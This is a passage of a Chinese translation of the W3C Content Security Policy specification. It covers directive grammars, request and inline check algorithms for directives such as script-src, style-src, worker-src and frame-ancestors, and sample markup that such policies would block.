6.1.7.1. manifest-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行,参数为 name、 manifest-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表?, 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.7.2. manifest-src 请求后检查

该指令的 请求后检查 如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个 源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request。

  2. 如果执行 § 6.8.4 fetch指令是否执行, 参数为 name、manifest-src 和 policy, 结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配源列表?, 传入 response、request、本指令的 值 和 self-origin, 结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.8. media-src

media-src 指令限制从哪个 URL 加载视频、音频和相关的文本轨资源。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "media-src"
    directive-value = serialized-source-list
    
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: media-src https://example.com/
    

以下代码的请求将返回网络错误,因为提供的 URL 与 media-src 的 来源列表不匹配:

<audio src="https://example.org/audio"></audio>
    <video src="https://example.org/video">
        <track kind="subtitles" src="https://example.org/subtitles">
    </video>
    
6.1.8.1. media-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 media-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.8.2. media-src 请求后检查

该指令的 请求后检查 如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 media-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配源列表? , 传入 response、request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.9. object-src

object-src 指令限制从哪个 URL 加载插件内容。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "object-src"
    directive-value = serialized-source-list
    
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: object-src https://example.com/
    

以下代码的请求将返回网络错误,因为提供的 URL 与 object-src 的 来源列表不匹配:

<embed src="https://example.org/flash"></embed>
    <object data="https://example.org/flash"></object>
    

如果插件内容加载时没有关联的 URL(例如,object 元素缺少 data 属性,但基于指定的 type 加载一些默认插件),如果 object-src 的值为 'none',则必须阻止加载,否则允许加载。

注意: object-src 指令作用于任何由 object 或 embed 元素发起的请求。这包括前两者生成的 子导航项的请求(也包括导航)。即使数据在语义上等同于其他指令限制的内容,例如具有 text/html MIME 类型的 object 元素,这也适用。

注意: 当插件资源直接导航到(即作为 插件在 导航项内,而不是通过 embed 或 object 作为嵌入的子资源),该资源随附的任何 策略都将应用于结果 Document。例如,开发人员可以通过随响应一起提供策略 object-src 'none' 来阻止任意资源作为插件内容的执行。鉴于插件的强大功能(以及 Flash 等插件有时呈现的特殊安全模型),这可以减轻如 Rosetta Flash 等攻击向量的风险。

6.1.9.1. object-src 预请求检查

该指令的 预请求检查 如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 object-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.9.2. object-src 请求后检查

该指令的 请求后检查 如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 object-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配源列表? , 传入 response、request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.10. script-src

script-src 指令限制脚本可执行的位置。这不仅包括直接加载到 script 元素中的 URL,还包括内联脚本块和可触发脚本执行的 XSLT 样式表 [XSLT]。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "script-src"
    directive-value = serialized-source-list
    

script-src 指令作为所有 类脚本目标的默认回退(包括 worker 特定的目标,如果没有 worker-src)。除非需要细粒度控制,否则应该使用 script-src 而不是 script-src-attr 和 script-src-elem,因为在大多数情况下,没有理由为内联事件处理程序和 script 元素维护单独的权限列表。

script-src 指令控制以下六个方面:

  1. 脚本 请求 必须通过 § 4.1.2 内容安全策略是否应阻止请求?。

  2. 脚本 响应 必须通过 § 4.1.3 内容安全策略是否应阻止请求的响应?。

  3. 内联 script 块必须通过 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?。除非每个策略都允许内联脚本(要么隐式地没有指定 script-src 或 default-src 指令,要么显式地指定 "unsafe-inline"、与内联块匹配的 nonce-source 或 hash-source),其行为将被阻止。

  4. 以下 JavaScript 执行接收器受“unsafe-eval”和“trusted-types-eval”源表达式的限制:

    注意: 如果用户代理实现了非标准接收器,例如 setImmediate() 或 execScript(),它们也应该基于 "unsafe-eval" 进行控制。
    注意: 由于 "unsafe-eval" 充当全局页面标志,因此在执行此检查时不使用 script-src-attr 和 script-src-elem,而是始终使用 script-src(或其回退指令)。

  5. 以下 WebAssembly 执行接收器基于 "wasm-unsafe-eval" 或 "unsafe-eval" 源表达式进行控制:

    注意: "wasm-unsafe-eval" 源表达式是更具体的源表达式。特别是,"unsafe-eval" 允许 WebAssembly 的编译(和实例化),同时也允许例如 JavaScript 中的 "eval" 操作。"wasm-unsafe-eval" 源表达式只允许 WebAssembly,并不影响 JavaScript。

  6. 导航到 javascript: URL 必须通过 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?。如上所述,只有每个策略都允许内联脚本时,这样的导航才会执行脚本。

6.1.10.1. script-src 预请求检查

此指令的 预请求检查如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch 指令是否执行,参数为 name、 script-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 返回执行 § 6.7.1.1 脚本指令预请求检查, 传入 request、本指令、policy 和 self-origin 的结果。

6.1.10.2. script-src 后请求检查

此指令的 后请求检查如下:

给定一个请求 request,一个策略 policy,一个响应 response,以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch 指令是否执行,参数为 name、 script-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 返回执行 § 6.7.1.2 脚本指令请求后检查, 传入 request、response、本指令、policy 和 self-origin 的结果。

6.1.10.3. script-src 内联检查

此指令的 内联检查算法如下:

给定一个Element element,一个字符串 type,一个策略 policy 以及一个字符串 source:

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. 将 name 设为执行 § 6.8.2 获取内联检查的有效指令 在 type 上的结果。

  3. 如果执行 § 6.8.4 是否应执行取指令 在 name、script-src 和 policy 上的结果为 "No",则返回 "Allowed"。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表? 在 element、该指令的 值、type 和 source 上的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.11. script-src-elem

此指令的名称和值的语法如下 ABNF 描述:

directive-name  = "script-src-elem"
    directive-value = serialized-source-list
    

script-src-elem 指令适用于所有脚本请求和脚本块。执行脚本的属性(内联事件处理程序)通过 script-src-attr 进行控制。

因此,与 script-src 相比,存在以下区别:

6.1.11.1. script-src-elem 预请求检查

此指令的 预请求检查如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行,参数为 name、 script-src-elem 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 返回执行 § 6.7.1.1 脚本指令预请求检查, 传入 request、本指令、policy 和 self-origin 的结果。

6.1.11.2. script-src-elem 后请求检查

此指令的 后请求检查如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行,参数为 name、 script-src-elem 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 返回执行 § 6.7.1.2 脚本指令请求后检查, 传入 request、response、本指令、policy 和 self-origin 的结果。

6.1.11.3. script-src-elem 内联检查

此指令的 内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source:

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. 将 name 设为执行 § 6.8.2 获取内联检查的有效指令 在 type 上的结果。

  3. 如果执行 § 6.8.4 是否应执行取指令 在 name、script-src-elem 和 policy 上的结果为 "No",则返回 "Allowed"。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表? 在 element、该指令的 值、type 和 source 上的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.12. script-src-attr

此指令的名称和值的语法如下 ABNF 描述:

directive-name  = "script-src-attr"
    directive-value = serialized-source-list
    

script-src-attr 指令适用于事件处理程序,如果存在,它将覆盖 script-src 指令以进行相关检查。

6.1.12.1. script-src-attr 内联检查

此指令的 内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source:

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. 将 name 设为执行 § 6.8.2 获取内联检查的有效指令 在 type 上的结果。

  3. 如果执行 § 6.8.4 是否应执行取指令 在 name、script-src-attr 和 policy 上的结果为 "No",则返回 "Allowed"。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表? 在 element、该指令的 值、type 和 source 上的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.13. style-src

style-src 指令限制了可以将样式应用于 文档 的位置。该指令名称和值的语法如下 ABNF 描述:

directive-name  = "style-src"
    directive-value = serialized-source-list
    

style-src 指令控制以下几项:

  1. 样式 请求 必须通过 § 4.1.2 内容安全策略应阻止请求吗?。包括:

    1. 从 link 元素发起的样式表请求。

    2. 从 @import 规则发起的样式表请求。

    3. 从 Link HTTP 响应头字段 [RFC8288] 发起的样式表请求。

  2. 样式请求的 响应 必须通过 § 4.1.3 内容安全策略应阻止请求的响应吗?。

  3. 内联 style 块必须通过 § 4.2.3 元素的内联类型行为应被内容安全策略阻止吗?。除非每个策略允许内联样式,样式将被阻止。允许方式包括:不指定 style-src(或 default-src)指令,或者显式指定 "unsafe-inline",nonce-source 或 hash-source 匹配内联块。

  4. 以下 CSS 算法受到 unsafe-eval 源表达式的限制:

    1. 插入 CSS 规则

    2. 解析 CSS 规则

    3. 解析 CSS 声明块

    4. 解析选择器组

    这包括例如 CSSOM 的各种 cssText 设置器和 insertRule 方法的所有调用 [CSSOM] [HTML]。

    这需要更好地解释。[w3c/webappsec-csp 问题 #212]

6.1.13.1. style-src 预请求检查

该指令的预请求检查如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 style-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.3 nonce是否匹配源列表? , 传入 request 的 加密nonce元数据 和本指令的 值,结果为 "Matches", 则返回 "Allowed"。

  4. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.13.2. style-src 后请求检查

该指令的后请求检查如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个 源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch 指令是否执行,参数为 name、 style-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.3 nonce是否匹配源列表?, 传入 request 的 加密 nonce 元数据 和本指令的 值,结果为 "Matches", 则返回 "Allowed"。

  4. 如果执行 § 6.7.2.6 响应与源列表是否匹配?, 传入 response、request、本指令的 值 和 self-origin,结果为 "Does Not Match", 则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.13.3. style-src 内联检查

该指令的内联检查算法如下:

给定一个元素 element,一个字符串type,一个策略 policy,以及一个字符串source:

  1. 执行§ 6.8.2 获取内联检查的有效指令,获取type的name。

  2. 如果执行§ 6.8.4 是否应执行获取指令后,name、style-src和policy的结果为"No",则返回"Allowed"。

  3. 如果执行§ 6.7.3.3 元素是否匹配源列表后,element、此指令的值、type和source的结果为"Does Not Match",则返回"Blocked"。

  4. 返回"Allowed"。

该指令的初始化算法如下:

对执行上下文做一些有趣的操作,以锁定有趣的CSSOM算法。我认为CSSOM在这里没有给我们任何钩子,所以我们需要与他们合作以制定合理的解决方案。

6.1.14. style-src-elem

该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "style-src-elem"
    directive-value = serialized-source-list
    

style-src-elem 指令管理样式的行为,除内联属性定义的样式外。

6.1.14.1. style-src-elem 前请求检查

该指令的前请求检查如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行,参数为 name、 style-src-elem 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.3 nonce是否匹配源列表?, 传入 request 的 加密nonce元数据 和本指令的 值,结果为 "Matches", 则返回 "Allowed"。

  4. 如果执行 § 6.7.2.5 请求是否匹配源列表?, 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.14.2. style-src-elem 后请求检查

该指令的后请求检查如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个 源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行,参数为 name、 style-src-elem 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.3 nonce是否匹配源列表?, 传入 request 的 加密nonce元数据 和本指令的 值,结果为 "Matches", 则返回 "Allowed"。

  4. 如果执行 § 6.7.2.6 响应是否匹配源列表?, 传入 response、request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.14.3. style-src-elem 内联检查

该指令的内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy,以及一个字符串 source:

  1. 执行§ 6.8.2 获取内联检查的有效指令,获取 type 的 name。

  2. 如果执行§ 6.8.4 是否应执行获取指令后,name、style-src-elem 和 policy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行§ 6.7.3.3 元素是否匹配源列表后,element、该指令的 值、type 和 source 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.15. style-src-attr

该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "style-src-attr"
    directive-value = serialized-source-list
    

style-src-attr 指令管理样式属性的行为。

6.1.15.1. style-src-attr 内联检查

该指令的内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source:

  1. 执行§ 6.8.2 获取内联检查的有效指令,获取 type 的 name。

  2. 如果执行§ 6.8.4 是否应执行获取指令后,name、style-src-attr 和 policy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行§ 6.7.3.3 元素是否匹配源列表后,element、该指令的 值、type 和 source 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.2. 其他指令

6.2.1. webrtc

webrtc 指令用于限制是否可以通过 WebRTC 建立连接。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "webrtc"
    directive-value = "'allow'" / "'block'"
    
假设页面具有以下内容安全策略:
Content-Security-Policy: webrtc 'block'
    

本地 ICE 候选将不会出现,因为不会对提供给对等连接的 ICE 服务器进行 STUN 检查;不会对 JS 提供的任何远程候选进行连通性检查;连接状态将不会从初始状态“new”转换到“connected”,而是直接从“new”转换到“failed”。尝试调用 pc.restartIce() 将导致相同的结果。

 <script>
    const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
    const pc = new RTCPeerConnection({iceServers});
    pc.createDataChannel("");
    const io = new WebSocket('ws://example.com:8080');
    pc.onicecandidate = ({candidate}) => io.send({candidate});
    pc.onnegotiationneeded = async () => {
        await pc.setLocalDescription();
        io.send({description: pc.localDescription});
    };
    io.onmessage = async ({data: {description, candidate}}) => {
        if (description) {
        await pc.setRemoteDescription(description);
        if (description.type == "offer") {
            await pc.setLocalDescription();
            io.send({description: pc.localDescription});
        }
        } else if (candidate) await pc.addIceCandidate(candidate);
    };
    </script>
    
6.2.1.1. webrtc 预连接检查

该指令的 webrtc 预连接检查如下:

  1. 如果该指令的 值仅包含一个与字符串 "'allow'" 的 ASCII 不区分大小写匹配项,则返回 "Allowed"。

  2. 返回 "Blocked"。

6.2.2. worker-src

worker-src 指令限制可以作为 Worker、SharedWorker 或 ServiceWorker 加载的 URL。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "worker-src"
    directive-value = serialized-source-list
    
假设页面具有以下内容安全策略:
Content-Security-Policy: worker-src https://example.com/
    

以下代码的抓取将返回网络错误,因为提供的 URL 不匹配 worker-src 的 源列表:

<script>
    var blockedWorker = new Worker("data:application/javascript,...");
    blockedWorker = new SharedWorker("https://example.org/");
    navigator.serviceWorker.register('https://example.org/sw.js');
    </script>
    
6.2.2.1. worker-src 预请求检查

该指令的 预请求检查如下:

给定一个请求 request,一个策略 policy, 以及一个源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch指令是否执行 ,参数为 name、 worker-src 和 policy,结果为 "No", 则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表? , 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.2.2.2. worker-src 后请求检查

该指令的 后请求检查如下:

给定一个请求 request,一个响应 response,一个 策略 policy,以及一个 源 self-origin:

  1. 令 name 为执行 § 6.8.1 获取请求的有效指令 ,传入 request 得到的结果。

  2. 如果执行 § 6.8.4 fetch 指令是否执行, 参数为 name、worker-src 和 policy, 结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配源列表?, 传入 response、request、本指令的 值 和 self-origin,结果为 "Does Not Match", 则返回 "Blocked"。

  4. 返回 "Allowed"。

6.3. 文档指令

以下指令管理适用于文档或工作者环境的属性。

6.3.1.base-uri

base-uri 指令限制可以用于 URL 的范围,这些 URL 可以用于 文档 的 base 元素中。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "base-uri"
    directive-value = serialized-source-list
    

以下算法在 HTML 的 设置冻结的基本 URL 算法中调用,以监控和执行此指令:

6.3.1.1.base 是否允许用于 document?

给定一个 URL base 和一个 文档 document,如果 base 可以用作 base 元素的 href 属性的值,则返回 "Allowed",否则返回 "Blocked":

  1. 令CSP 列表为document的全局对象的csp 列表

  2. 对于CSP 列表的policies中的每个policy:

    1. 令 source list 为 null。

    2. 如果在 policy 的 指令集 中存在其 名称 为 "base-uri" 的 指令, 则将 source list 设为该 指令的 值。

    3. 如果 source list 为 null,则跳到下一个 policy。

    4. 如果在 base、source list、CSP list 的 self-origin 和 0 上执行 § 6.7.2.7 url 是否与源列表匹配(带重定向计数) 的结果是 "Does Not Match":

      1. 令 violation 为在 document 的 全局对象、 policy 和 "base-uri" 上执行 § 2.4.1 为 global、policy 和 directive 创建 violation 对象 的结果。

      2. 将 violation 的 resource 设为 "inline"。

      3. 在 violation 上执行 § 5.5 报告违规。

      4. 如果 policy 的 处置方式 是 "enforce", 返回 "Blocked"。

    注: 这里针对的是 Fallback base URL, 这样可以正确处理像 iframe srcdoc Document 这样被沙箱至 opaque origin 的情况。

  3. 返回"Allowed"。

6.3.2.sandbox

sandbox 指令指定了一个 HTML 沙盒策略,用户代理将对资源应用该策略,就像它被包含在具有 iframe 元素的 sandbox 属性中一样。

该指令的语法由以下 ABNF 语法描述,并有额外要求,即每个标记值必须是 HTML 规范中允许用于 iframe sandbox 属性的关键字之一[HTML]。

directive-name  = "sandbox"
    directive-value = "" / token *( required-ascii-whitespace token )
    

该指令没有报告要求;当它通过 Content-Security-Policy-Report-Only 头或在 meta 元素内传递时,将被完全忽略。

6.3.2.1.sandbox 初始化

该指令的 初始化 算法负责检查工人是否根据其策略中存在的 sandbox 值被允许运行:

注意:sandbox 指令还负责通过 CSP 派生的沙盒标志调整 文档 的 活动沙盒标志集。

给定一个 Document 或全局对象 context 以及一个策略 policy:

  1. 如果 policy 的 处置方式 不为 "enforce",或者 context 不是 WorkerGlobalScope, 则中止本算法。

  2. 令sandboxing flag set为一个新的沙箱标志集合。

  3. 使用该指令的值作为输入, 以sandboxing flag set为输出, 解析沙箱指令。

  4. 如果sandboxing flag set包含沙箱脚本浏览上下文标志 或沙箱来源浏览上下文标志, 则返回"Blocked"。

    注:如果允许 Worker 被沙箱到唯一来源,这里将需要调整,且这似乎是合理的需求。

  5. 返回"Allowed"。

6.4. 导航指令

6.4.1.form-action

form-action 指令限制可以用作给定上下文中表单提交目标的 URL。该指令的语法由以下 ABNF 语法描述:

directive-name  = "form-action"
    directive-value = serialized-source-list
    
6.4.1.1.form-action 预导航检查

给定一个请求 request,一个字符串 navigation type ("form-submission" 或 "other"),一个策略 policy,以及一个 源 self-origin,该算法在表单提交违反 form-action 指令约束时返回 "Blocked",否则返回 "Allowed"。 这构成 form-action 指令的 导航前检查:

  1. 断言:policy 在本算法中未使用。

  2. 如果 navigation type 为 "form-submission":

    1. 如果执行 § 6.7.2.5 请求是否匹配源列表?, 传入 request、本指令的 值 和 self-origin, 结果为 "Does Not Match",则返回 "Blocked"。

  3. 返回 "Allowed"。

6.4.2.frame-ancestors

frame-ancestors 指令限制可以使用 frame、iframe、object 或 embed 嵌入资源的 URL。资源可以使用该指令避免许多用户界面伪装攻击[UISECURITY],从而避免被嵌入到潜在的恶意上下文中的风险。

该指令的语法由以下 ABNF 语法描述:

directive-name  = "frame-ancestors"
    directive-value = ancestor-source-list

    ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
    ancestor-source      = scheme-source / host-source / "'self'"
    

当 frame-ancestors 指令包含在通过 meta 元素声明的策略中时,必须忽略该指令。

注意:frame-ancestors 指令的语法类似于 来源列表,但如果指定了 default-src 指令的值,frame-ancestors 不会回退到该值。这意味着声明 default-src 'none' 的策略仍然允许任何人嵌入该资源。

6.4.2.1.frame-ancestors 导航响应检查

给定一个请求 request,字符串 navigation type ("form-submission" 或 "other"),一个响应 navigation response,一个 可导航对象 target,字符串 check type ("source" 或 "response"), 一个策略 policy,以及一个源 self-origin,该算法如果 target 的一个或多个祖先违反了随响应下发的 frame-ancestors 指令,则返回 "Blocked",否则返回 "Allowed"。 这构成 frame-ancestors 指令的 导航响应检查:

  1. 如果 navigation response 的 URL 为本地,返回 "Allowed"。

  2. 断言:request、navigation response 和 navigation type,从此算法后续步骤起未再使用, 因为 frame-ancestors 只关心 navigation response 的 frame-ancestors 指令。

  3. 如果 check type 为 "source",返回 "Allowed"。

    注意: 'frame-ancestors' 指令只与 target 可导航对象相关,对 request 的上下文没有影响。

  4. 如果 target 不是一个 子导航对象,返回 "Allowed"。

  5. 令 current 为 target。

  6. 当 current 是一个 子导航对象时:

    1. 令 document 为 current 的 容器文档。

    2. 令 origin 为对 origin的ASCII序列化执行 URL解析器得到的结果, 其中 document 的 origin作为输入。

    3. 如果 § 6.7.2.7 URL是否匹配源列表(含重定向计数) 在 origin、本指令的 值、 self-origin 和 0 上执行结果为 Does Not Match, 返回 "Blocked"。

    4. 将 current 设置为 document 的 节点导航对象。

  7. 返回 "Allowed"。

6.4.2.2. 与 ``X-Frame-Options`` 的关系

该指令与 ``X-Frame-Options`` HTTP响应头类似。'none' 源表达式大致等同于该头的 `DENY`,而 'self' 则对应于该头的 `SAMEORIGIN`。[HTML]

为了支持向后兼容的部署, frame-ancestors 指令 覆盖了 ``X-Frame-Options`` 头。如果一个资源在响应中 携带了包含名为 frame-ancestors 的 指令,并且其 处置方式 是 "enforce" 的 策略,则 ``X-Frame-Options`` 头会根据 HTML 的处理模型被忽略。

6.5. 报告指令

本文档中的各种算法通过创建一个 违规对象,使用 § 2.4.2 为请求和策略创建违规对象 或 § 2.4.1 为全局、策略和指令创建违规对象,并将该对象传递给 § 5.5 报告违规 来实现报告过程。

6.5.1. report-uri

注意:report-uri 指令已被弃用。请改用 report-to 指令。如果存在后者指令,则会忽略此指令。为了确保向后兼容,我们建议同时指定两者,如下所示:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
    

report-uri 指令定义了一组端点,当特定行为被阻止时,CSP 违规报告将被发送到这些端点。

directive-name  = "report-uri"
    directive-value = uri-reference *( required-ascii-whitespace uri-reference )

    ; uri-reference 语法定义在 RFC 3986 的第 4.1 节。
    

此指令本身没有任何效果,但仅在与其他指令结合使用时才具有意义。

6.5.2. report-to

report-to 指令定义了应将违规报告发送到的 报告端点[REPORTING]。该指令的行为定义在 § 5.5 报告违规 中。指令的名称和值由以下 ABNF 描述:

directive-name  = "report-to"
    directive-value = token
    

6.6. 其他文档中定义的指令

本文档定义了一组核心指令,并为其他规范的模块化扩展建立了框架。在本文档生成时,以下稳定的文档扩展了 CSP:

对 CSP 的扩展必须通过 [RFC7762] 中概述的流程进行注册。特别是请注意该文档第 4.2 节中讨论的标准。

新指令应使用 预请求检查、后请求检查 和 初始化 钩子,以便将自己整合到 Fetch 和 HTML 中。

6.7. 匹配算法

6.7.1. 脚本指令检查

6.7.1.1. 脚本指令的预请求检查

给定一个请求 request,一个指令 directive,一个策略 policy,以及一个源 self-origin:

  1. 如果 request 的目标是类似脚本:

    1. 如果在 request 的密码学 nonce 元数据和此 指令的值上执行 § 6.7.2.3 nonce 是否与源列表匹配?的结果为 "Matches",则返回 "Allowed"。

    2. 如果在 request 的完整性元数据和此 指令的值上执行 § 6.7.2.4 完整性元数据 是否与源列表匹配?的结果为 "Matches",则返回 "Allowed"。

    3. 如果 directive 的值包含一个与 "'strict-dynamic'" keyword-source 进行ASCII 不区分大小写匹配的源 表达式:

      1. 如果 request 的解析器元数据是 "parser-inserted",则返回 "Blocked"。

        否则,返回 "Allowed"。

        注意:"'strict-dynamic'" 在 § 8.2 "'strict-dynamic'" 的用法中有更详细的说明。

    4. 如果在 request、directive 的值和 self-origin 上执行 § 6.7.2.5 请求 是否与源列表匹配?的结果为 "Does Not Match",则返回 "Blocked"。

  2. 返回 "Allowed"。

6.7.1.2. 脚本指令的后请求检查

此指令的后请求检查如下:

给定一个请求 request,一个响应 response,一个 指令 directive, 一个策略 policy,以及一个 源 self-origin:

注意: 此检查需要 request 和 response 都作为输入参数, 因为如果 request 的 加密nonce元数据 或 完整性元数据 匹配,则脚本允许加载, 并跳过对 response 的 url 是否匹配源列表的检查。

  1. 如果 request 的目标是类似脚本:

    1. 使用 response、request、directive 和 policy 调用可能报告哈希。

    2. 如果在 request 的密码学 nonce 元数据和此 指令的值上执行 § 6.7.2.3 nonce 是否与源列表匹配?的结果为 "Matches",则返回 "Allowed"。

    3. 如果在 request 的完整性元数据和此 指令的值上执行 § 6.7.2.4 完整性元数据 是否与源列表匹配?的结果为 "Matches",则返回 "Allowed"。

    4. 如果 directive 的值包含一个与 "'strict-dynamic'" keyword-source 进行ASCII 不区分大小写匹配的源 表达式:

      1. 如果 request 的解析器元数据是 "parser-inserted",则返回 "Blocked"。

        否则,返回 "Allowed"。

        注意:"'strict-dynamic'" 在 § 8.2 "'strict-dynamic'" 的用法中有更详细的说明。

    5. 如果在 response、request、directive 的值 和 self-origin 上执行 § 6.7.2.6 对请求的 响应是否与源列表匹配?的结果为 "Does Not Match",则返回 "Blocked"。

  2. 返回 "Allowed"。

6.7.2. URL 匹配

6.7.2.1. request 是否违反 policy?

给定一个请求 request,一个策略 policy, 以及一个源 self-origin,该算法若请求违反策略,返回被违反的 指令,否则返回 "Does Not Violate" 。

  1. 如果 request 的 发起者 是 "prefetch", 则返回执行 § 6.7.2.2 资源提示请求是否违反策略? ,传入 request、policy 和 self-origin 的结果。

  2. 令 violates 为 "Does Not Violate"。

  3. 遍历 policy 的每个 directive:

    1. 令 result 为执行 directive 的 请求前检查, 传入 request、policy 和 self-origin 的结果。

